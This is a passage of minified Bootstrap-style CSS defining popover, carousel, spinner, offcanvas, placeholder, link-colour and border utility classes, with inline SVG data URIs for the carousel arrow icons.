var(--bs-popover-border-color);border-top-left-radius:var(--bs-popover-inner-border-radius);border-top-right-radius:var(--bs-popover-inner-border-radius)}.popover-header:empty{display:none}.popover-body{padding:var(--bs-popover-body-padding-y) var(--bs-popover-body-padding-x);color:var(--bs-popover-body-color)}.carousel{position:relative}.carousel.pointer-event{touch-action:pan-y}.carousel-inner{position:relative;width:100%;overflow:hidden}.carousel-inner::after{display:block;clear:both;content:""}.carousel-item{position:relative;display:none;float:left;width:100%;margin-right:-100%;backface-visibility:hidden;transition:transform .6s ease-in-out}@media(prefers-reduced-motion: reduce){.carousel-item{transition:none}}.carousel-item.active,.carousel-item-next,.carousel-item-prev{display:block}.carousel-item-next:not(.carousel-item-start),.active.carousel-item-end{transform:translateX(100%)}.carousel-item-prev:not(.carousel-item-end),.active.carousel-item-start{transform:translateX(-100%)}.carousel-fade .carousel-item{opacity:0;transition-property:opacity;transform:none}.carousel-fade .carousel-item.active,.carousel-fade .carousel-item-next.carousel-item-start,.carousel-fade .carousel-item-prev.carousel-item-end{z-index:1;opacity:1}.carousel-fade .active.carousel-item-start,.carousel-fade .active.carousel-item-end{z-index:0;opacity:0;transition:opacity 0s .6s}@media(prefers-reduced-motion: reduce){.carousel-fade .active.carousel-item-start,.carousel-fade .active.carousel-item-end{transition:none}}.carousel-control-prev,.carousel-control-next{position:absolute;top:0;bottom:0;z-index:1;display:flex;align-items:center;justify-content:center;width:15%;padding:0;color:#fff;text-align:center;background:none;border:0;opacity:.5;transition:opacity .15s ease}@media(prefers-reduced-motion: reduce){.carousel-control-prev,.carousel-control-next{transition:none}}.carousel-control-prev:hover,.carousel-control-prev:focus,.carousel-control-next:hover,.carousel-control-next:focus{color:#fff;text-decoration:none;outline:0;opacity:.9}.carousel-control-prev{left:0}.carousel-control-next{right:0}.carousel-control-prev-icon,.carousel-control-next-icon{display:inline-block;width:2rem;height:2rem;background-repeat:no-repeat;background-position:50%;background-size:100% 100%}.carousel-control-prev-icon{background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16' fill='%23ffffff'%3e%3cpath d='M11.354 1.646a.5.5 0 0 1 0 .708L5.707 8l5.647 5.646a.5.5 0 0 1-.708.708l-6-6a.5.5 0 0 1 0-.708l6-6a.5.5 0 0 1 .708 0z'/%3e%3c/svg%3e") /*rtl:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16' fill='%23ffffff'%3e%3cpath d='M4.646 1.646a.5.5 0 0 1 .708 0l6 6a.5.5 0 0 1 0 .708l-6 6a.5.5 0 0 1-.708-.708L10.293 8 4.646 2.354a.5.5 0 0 1 0-.708z'/%3e%3c/svg%3e")*/}.carousel-control-next-icon{background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16' fill='%23ffffff'%3e%3cpath d='M4.646 1.646a.5.5 0 0 1 .708 0l6 6a.5.5 0 0 1 0 .708l-6 6a.5.5 0 0 1-.708-.708L10.293 8 4.646 2.354a.5.5 0 0 1 0-.708z'/%3e%3c/svg%3e") /*rtl:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16' fill='%23ffffff'%3e%3cpath d='M11.354 1.646a.5.5 0 0 1 0 .708L5.707 8l5.647 5.646a.5.5 0 0 1-.708.708l-6-6a.5.5 0 0 1 0-.708l6-6a.5.5 0 0 1 .708 0z'/%3e%3c/svg%3e")*/}.carousel-indicators{position:absolute;right:0;bottom:0;left:0;z-index:2;display:flex;justify-content:center;padding:0;margin-right:15%;margin-bottom:1rem;margin-left:15%}.carousel-indicators [data-bs-target]{box-sizing:content-box;flex:0 1 auto;width:30px;height:3px;padding:0;margin-right:3px;margin-left:3px;text-indent:-999px;cursor:pointer;background-color:#fff;background-clip:padding-box;border:0;border-top:10px solid rgba(0,0,0,0);border-bottom:10px solid rgba(0,0,0,0);opacity:.5;transition:opacity .6s ease}@media(prefers-reduced-motion: reduce){.carousel-indicators [data-bs-target]{transition:none}}.carousel-indicators .active{opacity:1}.carousel-caption{position:absolute;right:15%;bottom:1.25rem;left:15%;padding-top:1.25rem;padding-bottom:1.25rem;color:#fff;text-align:center}.carousel-dark .carousel-control-prev-icon,.carousel-dark .carousel-control-next-icon{filter:invert(1) grayscale(100)}.carousel-dark .carousel-indicators [data-bs-target]{background-color:#000}.carousel-dark .carousel-caption{color:#000}[data-bs-theme=dark] .carousel .carousel-control-prev-icon,[data-bs-theme=dark] .carousel .carousel-control-next-icon,[data-bs-theme=dark].carousel .carousel-control-prev-icon,[data-bs-theme=dark].carousel .carousel-control-next-icon{filter:invert(1) grayscale(100)}[data-bs-theme=dark] .carousel .carousel-indicators [data-bs-target],[data-bs-theme=dark].carousel .carousel-indicators [data-bs-target]{background-color:#000}[data-bs-theme=dark] .carousel .carousel-caption,[data-bs-theme=dark].carousel .carousel-caption{color:#000}.spinner-grow,.spinner-border{display:inline-block;width:var(--bs-spinner-width);height:var(--bs-spinner-height);vertical-align:var(--bs-spinner-vertical-align);border-radius:50%;animation:var(--bs-spinner-animation-speed) linear infinite var(--bs-spinner-animation-name)}@keyframes spinner-border{to{transform:rotate(360deg) /* rtl:ignore */}}.spinner-border{--bs-spinner-width: 2rem;--bs-spinner-height: 2rem;--bs-spinner-vertical-align: -0.125em;--bs-spinner-border-width: 0.25em;--bs-spinner-animation-speed: 0.75s;--bs-spinner-animation-name: spinner-border;border:var(--bs-spinner-border-width) solid currentcolor;border-right-color:rgba(0,0,0,0)}.spinner-border-sm{--bs-spinner-width: 1rem;--bs-spinner-height: 1rem;--bs-spinner-border-width: 0.2em}@keyframes spinner-grow{0%{transform:scale(0)}50%{opacity:1;transform:none}}.spinner-grow{--bs-spinner-width: 2rem;--bs-spinner-height: 2rem;--bs-spinner-vertical-align: -0.125em;--bs-spinner-animation-speed: 0.75s;--bs-spinner-animation-name: spinner-grow;background-color:currentcolor;opacity:0}.spinner-grow-sm{--bs-spinner-width: 1rem;--bs-spinner-height: 1rem}@media(prefers-reduced-motion: reduce){.spinner-border,.spinner-grow{--bs-spinner-animation-speed: 1.5s}}.offcanvas,.offcanvas-xxl,.offcanvas-xl,.offcanvas-lg,.offcanvas-md,.offcanvas-sm{--bs-offcanvas-zindex: 1045;--bs-offcanvas-width: 400px;--bs-offcanvas-height: 30vh;--bs-offcanvas-padding-x: 1rem;--bs-offcanvas-padding-y: 1rem;--bs-offcanvas-color: var(--bs-body-color);--bs-offcanvas-bg: var(--bs-body-bg);--bs-offcanvas-border-width: var(--bs-border-width);--bs-offcanvas-border-color: var(--bs-border-color-translucent);--bs-offcanvas-box-shadow: var(--bs-box-shadow-sm);--bs-offcanvas-transition: transform 0.3s ease-in-out;--bs-offcanvas-title-line-height: 1.5}@media(max-width: 575.98px){.offcanvas-sm{position:fixed;bottom:0;z-index:var(--bs-offcanvas-zindex);display:flex;flex-direction:column;max-width:100%;color:var(--bs-offcanvas-color);visibility:hidden;background-color:var(--bs-offcanvas-bg);background-clip:padding-box;outline:0;transition:var(--bs-offcanvas-transition)}}@media(max-width: 575.98px)and (prefers-reduced-motion: reduce){.offcanvas-sm{transition:none}}@media(max-width: 575.98px){.offcanvas-sm.offcanvas-start{top:0;left:0;width:var(--bs-offcanvas-width);border-right:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateX(-100%)}.offcanvas-sm.offcanvas-end{top:0;right:0;width:var(--bs-offcanvas-width);border-left:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateX(100%)}.offcanvas-sm.offcanvas-top{top:0;right:0;left:0;height:var(--bs-offcanvas-height);max-height:100%;border-bottom:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateY(-100%)}.offcanvas-sm.offcanvas-bottom{right:0;left:0;height:var(--bs-offcanvas-height);max-height:100%;border-top:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateY(100%)}.offcanvas-sm.showing,.offcanvas-sm.show:not(.hiding){transform:none}.offcanvas-sm.showing,.offcanvas-sm.hiding,.offcanvas-sm.show{visibility:visible}}@media(min-width: 576px){.offcanvas-sm{--bs-offcanvas-height: auto;--bs-offcanvas-border-width: 0;background-color:rgba(0,0,0,0) !important}.offcanvas-sm .offcanvas-header{display:none}.offcanvas-sm .offcanvas-body{display:flex;flex-grow:0;padding:0;overflow-y:visible;background-color:rgba(0,0,0,0) !important}}@media(max-width: 767.98px){.offcanvas-md{position:fixed;bottom:0;z-index:var(--bs-offcanvas-zindex);display:flex;flex-direction:column;max-width:100%;color:var(--bs-offcanvas-color);visibility:hidden;background-color:var(--bs-offcanvas-bg);background-clip:padding-box;outline:0;transition:var(--bs-offcanvas-transition)}}@media(max-width: 767.98px)and (prefers-reduced-motion: reduce){.offcanvas-md{transition:none}}@media(max-width: 767.98px){.offcanvas-md.offcanvas-start{top:0;left:0;width:var(--bs-offcanvas-width);border-right:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateX(-100%)}.offcanvas-md.offcanvas-end{top:0;right:0;width:var(--bs-offcanvas-width);border-left:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateX(100%)}.offcanvas-md.offcanvas-top{top:0;right:0;left:0;height:var(--bs-offcanvas-height);max-height:100%;border-bottom:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateY(-100%)}.offcanvas-md.offcanvas-bottom{right:0;left:0;height:var(--bs-offcanvas-height);max-height:100%;border-top:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateY(100%)}.offcanvas-md.showing,.offcanvas-md.show:not(.hiding){transform:none}.offcanvas-md.showing,.offcanvas-md.hiding,.offcanvas-md.show{visibility:visible}}@media(min-width: 768px){.offcanvas-md{--bs-offcanvas-height: auto;--bs-offcanvas-border-width: 0;background-color:rgba(0,0,0,0) !important}.offcanvas-md .offcanvas-header{display:none}.offcanvas-md .offcanvas-body{display:flex;flex-grow:0;padding:0;overflow-y:visible;background-color:rgba(0,0,0,0) !important}}@media(max-width: 991.98px){.offcanvas-lg{position:fixed;bottom:0;z-index:var(--bs-offcanvas-zindex);display:flex;flex-direction:column;max-width:100%;color:var(--bs-offcanvas-color);visibility:hidden;background-color:var(--bs-offcanvas-bg);background-clip:padding-box;outline:0;transition:var(--bs-offcanvas-transition)}}@media(max-width: 991.98px)and (prefers-reduced-motion: reduce){.offcanvas-lg{transition:none}}@media(max-width: 991.98px){.offcanvas-lg.offcanvas-start{top:0;left:0;width:var(--bs-offcanvas-width);border-right:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateX(-100%)}.offcanvas-lg.offcanvas-end{top:0;right:0;width:var(--bs-offcanvas-width);border-left:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateX(100%)}.offcanvas-lg.offcanvas-top{top:0;right:0;left:0;height:var(--bs-offcanvas-height);max-height:100%;border-bottom:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateY(-100%)}.offcanvas-lg.offcanvas-bottom{right:0;left:0;height:var(--bs-offcanvas-height);max-height:100%;border-top:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateY(100%)}.offcanvas-lg.showing,.offcanvas-lg.show:not(.hiding){transform:none}.offcanvas-lg.showing,.offcanvas-lg.hiding,.offcanvas-lg.show{visibility:visible}}@media(min-width: 992px){.offcanvas-lg{--bs-offcanvas-height: auto;--bs-offcanvas-border-width: 0;background-color:rgba(0,0,0,0) !important}.offcanvas-lg .offcanvas-header{display:none}.offcanvas-lg .offcanvas-body{display:flex;flex-grow:0;padding:0;overflow-y:visible;background-color:rgba(0,0,0,0) !important}}@media(max-width: 1199.98px){.offcanvas-xl{position:fixed;bottom:0;z-index:var(--bs-offcanvas-zindex);display:flex;flex-direction:column;max-width:100%;color:var(--bs-offcanvas-color);visibility:hidden;background-color:var(--bs-offcanvas-bg);background-clip:padding-box;outline:0;transition:var(--bs-offcanvas-transition)}}@media(max-width: 1199.98px)and (prefers-reduced-motion: reduce){.offcanvas-xl{transition:none}}@media(max-width: 1199.98px){.offcanvas-xl.offcanvas-start{top:0;left:0;width:var(--bs-offcanvas-width);border-right:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateX(-100%)}.offcanvas-xl.offcanvas-end{top:0;right:0;width:var(--bs-offcanvas-width);border-left:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateX(100%)}.offcanvas-xl.offcanvas-top{top:0;right:0;left:0;height:var(--bs-offcanvas-height);max-height:100%;border-bottom:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateY(-100%)}.offcanvas-xl.offcanvas-bottom{right:0;left:0;height:var(--bs-offcanvas-height);max-height:100%;border-top:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateY(100%)}.offcanvas-xl.showing,.offcanvas-xl.show:not(.hiding){transform:none}.offcanvas-xl.showing,.offcanvas-xl.hiding,.offcanvas-xl.show{visibility:visible}}@media(min-width: 1200px){.offcanvas-xl{--bs-offcanvas-height: auto;--bs-offcanvas-border-width: 0;background-color:rgba(0,0,0,0) !important}.offcanvas-xl .offcanvas-header{display:none}.offcanvas-xl .offcanvas-body{display:flex;flex-grow:0;padding:0;overflow-y:visible;background-color:rgba(0,0,0,0) !important}}@media(max-width: 1399.98px){.offcanvas-xxl{position:fixed;bottom:0;z-index:var(--bs-offcanvas-zindex);display:flex;flex-direction:column;max-width:100%;color:var(--bs-offcanvas-color);visibility:hidden;background-color:var(--bs-offcanvas-bg);background-clip:padding-box;outline:0;transition:var(--bs-offcanvas-transition)}}@media(max-width: 1399.98px)and (prefers-reduced-motion: reduce){.offcanvas-xxl{transition:none}}@media(max-width: 1399.98px){.offcanvas-xxl.offcanvas-start{top:0;left:0;width:var(--bs-offcanvas-width);border-right:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateX(-100%)}.offcanvas-xxl.offcanvas-end{top:0;right:0;width:var(--bs-offcanvas-width);border-left:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateX(100%)}.offcanvas-xxl.offcanvas-top{top:0;right:0;left:0;height:var(--bs-offcanvas-height);max-height:100%;border-bottom:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateY(-100%)}.offcanvas-xxl.offcanvas-bottom{right:0;left:0;height:var(--bs-offcanvas-height);max-height:100%;border-top:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateY(100%)}.offcanvas-xxl.showing,.offcanvas-xxl.show:not(.hiding){transform:none}.offcanvas-xxl.showing,.offcanvas-xxl.hiding,.offcanvas-xxl.show{visibility:visible}}@media(min-width: 1400px){.offcanvas-xxl{--bs-offcanvas-height: auto;--bs-offcanvas-border-width: 0;background-color:rgba(0,0,0,0) !important}.offcanvas-xxl .offcanvas-header{display:none}.offcanvas-xxl .offcanvas-body{display:flex;flex-grow:0;padding:0;overflow-y:visible;background-color:rgba(0,0,0,0) !important}}.offcanvas{position:fixed;bottom:0;z-index:var(--bs-offcanvas-zindex);display:flex;flex-direction:column;max-width:100%;color:var(--bs-offcanvas-color);visibility:hidden;background-color:var(--bs-offcanvas-bg);background-clip:padding-box;outline:0;transition:var(--bs-offcanvas-transition)}@media(prefers-reduced-motion: reduce){.offcanvas{transition:none}}.offcanvas.offcanvas-start{top:0;left:0;width:var(--bs-offcanvas-width);border-right:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateX(-100%)}.offcanvas.offcanvas-end{top:0;right:0;width:var(--bs-offcanvas-width);border-left:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateX(100%)}.offcanvas.offcanvas-top{top:0;right:0;left:0;height:var(--bs-offcanvas-height);max-height:100%;border-bottom:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateY(-100%)}.offcanvas.offcanvas-bottom{right:0;left:0;height:var(--bs-offcanvas-height);max-height:100%;border-top:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateY(100%)}.offcanvas.showing,.offcanvas.show:not(.hiding){transform:none}.offcanvas.showing,.offcanvas.hiding,.offcanvas.show{visibility:visible}.offcanvas-backdrop{position:fixed;top:0;left:0;z-index:1040;width:100vw;height:100vh;background-color:#000}.offcanvas-backdrop.fade{opacity:0}.offcanvas-backdrop.show{opacity:.7}.offcanvas-header{display:flex;align-items:center;padding:var(--bs-offcanvas-padding-y) var(--bs-offcanvas-padding-x)}.offcanvas-header .btn-close{padding:calc(var(--bs-offcanvas-padding-y)*.5) calc(var(--bs-offcanvas-padding-x)*.5);margin:calc(-0.5*var(--bs-offcanvas-padding-y)) calc(-0.5*var(--bs-offcanvas-padding-x)) calc(-0.5*var(--bs-offcanvas-padding-y)) auto}.offcanvas-title{margin-bottom:0;line-height:var(--bs-offcanvas-title-line-height)}.offcanvas-body{flex-grow:1;padding:var(--bs-offcanvas-padding-y) var(--bs-offcanvas-padding-x);overflow-y:auto}.placeholder{display:inline-block;min-height:1em;vertical-align:middle;cursor:wait;background-color:currentcolor;opacity:.5}.placeholder.btn::before{display:inline-block;content:""}.placeholder-xs{min-height:.6em}.placeholder-sm{min-height:.8em}.placeholder-lg{min-height:1.2em}.placeholder-glow .placeholder{animation:placeholder-glow 2s ease-in-out infinite}@keyframes placeholder-glow{50%{opacity:.2}}.placeholder-wave{mask-image:linear-gradient(130deg, #000000 55%, rgba(0, 0, 0, 0.8) 75%, #000000 95%);mask-size:200% 100%;animation:placeholder-wave 2s linear infinite}@keyframes placeholder-wave{100%{mask-position:-200% 0%}}.clearfix::after{display:block;clear:both;content:""}.text-bg-primary{color:#fff !important;background-color:RGBA(var(--bs-primary-rgb), var(--bs-bg-opacity, 1)) !important}.text-bg-secondary{color:#000 !important;background-color:RGBA(var(--bs-secondary-rgb), var(--bs-bg-opacity, 1)) !important}.text-bg-danger{color:#000 !important;background-color:RGBA(var(--bs-danger-rgb), var(--bs-bg-opacity, 1)) !important}.text-bg-success{color:#000 !important;background-color:RGBA(var(--bs-success-rgb), var(--bs-bg-opacity, 1)) !important}.text-bg-info{color:#000 !important;background-color:RGBA(var(--bs-info-rgb), var(--bs-bg-opacity, 1)) !important}.text-bg-warning{color:#000 !important;background-color:RGBA(var(--bs-warning-rgb), var(--bs-bg-opacity, 1)) !important}.text-bg-light{color:#000 !important;background-color:RGBA(var(--bs-light-rgb), var(--bs-bg-opacity, 1)) !important}.text-bg-dark{color:#fff !important;background-color:RGBA(var(--bs-dark-rgb), var(--bs-bg-opacity, 1)) !important}.link-primary{color:RGBA(var(--bs-primary-rgb), var(--bs-link-opacity, 1)) !important;text-decoration-color:RGBA(var(--bs-primary-rgb), var(--bs-link-underline-opacity, 1)) !important}.link-primary:hover,.link-primary:focus{color:RGBA(73, 63, 148, var(--bs-link-opacity, 1)) !important;text-decoration-color:RGBA(73, 63, 148, var(--bs-link-underline-opacity, 1)) !important}.link-secondary{color:RGBA(var(--bs-secondary-rgb), var(--bs-link-opacity, 1)) !important;text-decoration-color:RGBA(var(--bs-secondary-rgb), var(--bs-link-underline-opacity, 1)) !important}.link-secondary:hover,.link-secondary:focus{color:RGBA(217, 221, 231, var(--bs-link-opacity, 1)) !important;text-decoration-color:RGBA(217, 221, 231, var(--bs-link-underline-opacity, 1)) !important}.link-danger{color:RGBA(var(--bs-danger-rgb), var(--bs-link-opacity, 1)) !important;text-decoration-color:RGBA(var(--bs-danger-rgb), var(--bs-link-underline-opacity, 1)) !important}.link-danger:hover,.link-danger:focus{color:RGBA(245, 144, 94, var(--bs-link-opacity, 1)) !important;text-decoration-color:RGBA(245, 144, 94, var(--bs-link-underline-opacity, 1)) !important}.link-success{color:RGBA(var(--bs-success-rgb), var(--bs-link-opacity, 1)) !important;text-decoration-color:RGBA(var(--bs-success-rgb), var(--bs-link-underline-opacity, 1)) !important}.link-success:hover,.link-success:focus{color:RGBA(149, 185, 109, var(--bs-link-opacity, 1)) !important;text-decoration-color:RGBA(149, 185, 109, var(--bs-link-underline-opacity, 1)) !important}.link-info{color:RGBA(var(--bs-info-rgb), var(--bs-link-opacity, 1)) !important;text-decoration-color:RGBA(var(--bs-info-rgb), var(--bs-link-underline-opacity, 1)) !important}.link-info:hover,.link-info:focus{color:RGBA(51, 180, 255, var(--bs-link-opacity, 1)) !important;text-decoration-color:RGBA(51, 180, 255, var(--bs-link-underline-opacity, 1)) !important}.link-warning{color:RGBA(var(--bs-warning-rgb), var(--bs-link-opacity, 1)) !important;text-decoration-color:RGBA(var(--bs-warning-rgb), var(--bs-link-underline-opacity, 1)) !important}.link-warning:hover,.link-warning:focus{color:RGBA(255, 206, 101, var(--bs-link-opacity, 1)) !important;text-decoration-color:RGBA(255, 206, 101, var(--bs-link-underline-opacity, 1)) !important}.link-light{color:RGBA(var(--bs-light-rgb), var(--bs-link-opacity, 1)) !important;text-decoration-color:RGBA(var(--bs-light-rgb), var(--bs-link-underline-opacity, 1)) !important}.link-light:hover,.link-light:focus{color:RGBA(241, 243, 249, var(--bs-link-opacity, 1)) !important;text-decoration-color:RGBA(241, 243, 249, var(--bs-link-underline-opacity, 1)) !important}.link-dark{color:RGBA(var(--bs-dark-rgb), var(--bs-link-opacity, 1)) !important;text-decoration-color:RGBA(var(--bs-dark-rgb), var(--bs-link-underline-opacity, 1)) !important}.link-dark:hover,.link-dark:focus{color:RGBA(26, 26, 26, var(--bs-link-opacity, 1)) !important;text-decoration-color:RGBA(26, 26, 26, var(--bs-link-underline-opacity, 1)) !important}.link-body-emphasis{color:RGBA(var(--bs-emphasis-color-rgb), var(--bs-link-opacity, 1)) !important;text-decoration-color:RGBA(var(--bs-emphasis-color-rgb), var(--bs-link-underline-opacity, 1)) !important}.link-body-emphasis:hover,.link-body-emphasis:focus{color:RGBA(var(--bs-emphasis-color-rgb), var(--bs-link-opacity, 0.75)) !important;text-decoration-color:RGBA(var(--bs-emphasis-color-rgb), var(--bs-link-underline-opacity, 0.75)) !important}.focus-ring:focus{outline:0;box-shadow:var(--bs-focus-ring-x, 0) var(--bs-focus-ring-y, 0) var(--bs-focus-ring-blur, 0) var(--bs-focus-ring-width) var(--bs-focus-ring-color)}.icon-link{display:inline-flex;gap:.375rem;align-items:center;text-decoration-color:rgba(var(--bs-link-color-rgb), var(--bs-link-opacity, 0.5));text-underline-offset:.25em;backface-visibility:hidden}.icon-link>.bi{flex-shrink:0;width:1em;height:1em;fill:currentcolor;transition:.2s ease-in-out transform}@media(prefers-reduced-motion: reduce){.icon-link>.bi{transition:none}}.icon-link-hover:hover>.bi,.icon-link-hover:focus-visible>.bi{transform:var(--bs-icon-link-transform, translate3d(0.25em, 0, 0))}.ratio{position:relative;width:100%}.ratio::before{display:block;padding-top:var(--bs-aspect-ratio);content:""}.ratio>*{position:absolute;top:0;left:0;width:100%;height:100%}.ratio-1x1{--bs-aspect-ratio: 100%}.ratio-4x3{--bs-aspect-ratio: 75%}.ratio-16x9{--bs-aspect-ratio: 56.25%}.ratio-21x9{--bs-aspect-ratio: 42.8571428571%}.fixed-top{position:fixed;top:0;right:0;left:0;z-index:1030}.fixed-bottom{position:fixed;right:0;bottom:0;left:0;z-index:1030}.sticky-top{position:sticky;top:0;z-index:1020}.sticky-bottom{position:sticky;bottom:0;z-index:1020}@media(min-width: 576px){.sticky-sm-top{position:sticky;top:0;z-index:1020}.sticky-sm-bottom{position:sticky;bottom:0;z-index:1020}}@media(min-width: 768px){.sticky-md-top{position:sticky;top:0;z-index:1020}.sticky-md-bottom{position:sticky;bottom:0;z-index:1020}}@media(min-width: 992px){.sticky-lg-top{position:sticky;top:0;z-index:1020}.sticky-lg-bottom{position:sticky;bottom:0;z-index:1020}}@media(min-width: 1200px){.sticky-xl-top{position:sticky;top:0;z-index:1020}.sticky-xl-bottom{position:sticky;bottom:0;z-index:1020}}@media(min-width: 1400px){.sticky-xxl-top{position:sticky;top:0;z-index:1020}.sticky-xxl-bottom{position:sticky;bottom:0;z-index:1020}}.hstack{display:flex;flex-direction:row;align-items:center;align-self:stretch}.vstack{display:flex;flex:1 1 auto;flex-direction:column;align-self:stretch}.visually-hidden,.visually-hidden-focusable:not(:focus):not(:focus-within){width:1px !important;height:1px !important;padding:0 !important;margin:-1px !important;overflow:hidden !important;clip:rect(0, 0, 0, 0) !important;white-space:nowrap !important;border:0 !important}.visually-hidden:not(caption),.visually-hidden-focusable:not(:focus):not(:focus-within):not(caption){position:absolute !important}.stretched-link::after{position:absolute;top:0;right:0;bottom:0;left:0;z-index:1;content:""}.text-truncate,.table.truncate th,.table.truncate td{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.vr{display:inline-block;align-self:stretch;width:var(--bs-border-width);min-height:1em;background-color:currentcolor;opacity:.25}.align-baseline{vertical-align:baseline !important}.align-top{vertical-align:top !important}.align-middle{vertical-align:middle !important}.align-bottom{vertical-align:bottom !important}.align-text-bottom{vertical-align:text-bottom !important}.align-text-top{vertical-align:text-top !important}.float-start{float:left !important}.float-end{float:right !important}.float-none{float:none !important}.object-fit-contain{object-fit:contain !important}.object-fit-cover{object-fit:cover !important}.object-fit-fill{object-fit:fill !important}.object-fit-scale{object-fit:scale-down !important}.object-fit-none{object-fit:none !important}.opacity-0{opacity:0 !important}.opacity-25{opacity:.25 !important}.opacity-50{opacity:.5 !important}.opacity-75{opacity:.75 !important}.opacity-100{opacity:1 !important}.overflow-auto{overflow:auto !important}.overflow-hidden{overflow:hidden !important}.overflow-visible{overflow:visible !important}.overflow-scroll{overflow:scroll !important}.overflow-x-auto{overflow-x:auto !important}.overflow-x-hidden{overflow-x:hidden !important}.overflow-x-visible{overflow-x:visible !important}.overflow-x-scroll{overflow-x:scroll !important}.overflow-y-auto{overflow-y:auto !important}.overflow-y-hidden{overflow-y:hidden !important}.overflow-y-visible{overflow-y:visible !important}.overflow-y-scroll{overflow-y:scroll !important}.d-inline{display:inline !important}.d-inline-block{display:inline-block !important}.d-block{display:block !important}.d-grid{display:grid !important}.d-inline-grid{display:inline-grid !important}.d-table{display:table !important}.d-table-row{display:table-row !important}.d-table-cell{display:table-cell !important}.d-flex{display:flex !important}.d-inline-flex{display:inline-flex !important}.d-none{display:none !important}.shadow{box-shadow:var(--bs-box-shadow) !important}.shadow-sm{box-shadow:var(--bs-box-shadow-sm) !important}.shadow-lg{box-shadow:var(--bs-box-shadow-lg) !important}.shadow-none{box-shadow:none !important}.focus-ring-primary{--bs-focus-ring-color: rgba(var(--bs-primary-rgb), var(--bs-focus-ring-opacity))}.focus-ring-secondary{--bs-focus-ring-color: rgba(var(--bs-secondary-rgb), var(--bs-focus-ring-opacity))}.focus-ring-danger{--bs-focus-ring-color: rgba(var(--bs-danger-rgb), var(--bs-focus-ring-opacity))}.focus-ring-success{--bs-focus-ring-color: rgba(var(--bs-success-rgb), var(--bs-focus-ring-opacity))}.focus-ring-info{--bs-focus-ring-color: rgba(var(--bs-info-rgb), var(--bs-focus-ring-opacity))}.focus-ring-warning{--bs-focus-ring-color: rgba(var(--bs-warning-rgb), var(--bs-focus-ring-opacity))}.focus-ring-light{--bs-focus-ring-color: rgba(var(--bs-light-rgb), var(--bs-focus-ring-opacity))}.focus-ring-dark{--bs-focus-ring-color: rgba(var(--bs-dark-rgb), var(--bs-focus-ring-opacity))}.position-static{position:static !important}.position-relative{position:relative !important}.position-absolute{position:absolute !important}.position-fixed{position:fixed !important}.position-sticky{position:sticky !important}.top-0{top:0 !important}.top-50{top:50% !important}.top-100{top:100% !important}.bottom-0{bottom:0 !important}.bottom-50{bottom:50% !important}.bottom-100{bottom:100% !important}.start-0{left:0 !important}.start-50{left:50% !important}.start-100{left:100% !important}.end-0{right:0 !important}.end-50{right:50% !important}.end-100{right:100% !important}.translate-middle{transform:translate(-50%, -50%) !important}.translate-middle-x{transform:translateX(-50%) !important}.translate-middle-y{transform:translateY(-50%) !important}.border{border:var(--bs-border-width) var(--bs-border-style) var(--bs-border-color) !important}.border-0{border:0 !important}.border-top{border-top:var(--bs-border-width) var(--bs-border-style) var(--bs-border-color) !important}.border-top-0{border-top:0 !important}.border-end{border-right:var(--bs-border-width) var(--bs-border-style) var(--bs-border-color) !important}.border-end-0{border-right:0 !important}.border-bottom{border-bottom:var(--bs-border-width) var(--bs-border-style) var(--bs-border-color) !important}.border-bottom-0{border-bottom:0 !important}.border-start{border-left:var(--bs-border-width) var(--bs-border-style) var(--bs-border-color) !important}.border-start-0{border-left:0 !important}.border-primary{--bs-border-opacity: 1;border-color:rgba(var(--bs-primary-rgb), var(--bs-border-opacity)) !important}.border-secondary{--bs-border-opacity: 1;border-color:rgba(var(--bs-secondary-rgb), var(--bs-border-opacity)) !important}.border-danger{--bs-border-opacity: 1;border-color:rgba(var(--bs-danger-rgb), var(--bs-border-opacity)) !important}.border-success{--bs-border-opacity: 1;border-color:rgba(var(--bs-success-rgb), var(--bs-border-opacity)) !important}.border-info{--bs-border-opacity: 1;border-color:rgba(var(--bs-info-rgb), var(--bs-border-opacity)) !important}.border-warning{--bs-border-opacity: 1;border-color:rgba(var(--bs-warning-rgb), var(--bs-border-opacity)) !important}.border-light{--bs-border-opacity: 1;border-color:rgba(var(--bs-light-rgb), var(--bs-border-opacity)) !important}.border-dark{--bs-border-opacity: 1;border-color:rgba(var(--bs-dark-rgb), var(--bs-border-opacity)) !important}.border-black{--bs-border-opacity: 1;border-color:rgba(var(--bs-black-rgb), var(--bs-border-opacity)) !important}.border-white{--bs-border-opacity: 1;border-color:rgba(var(--bs-white-rgb), 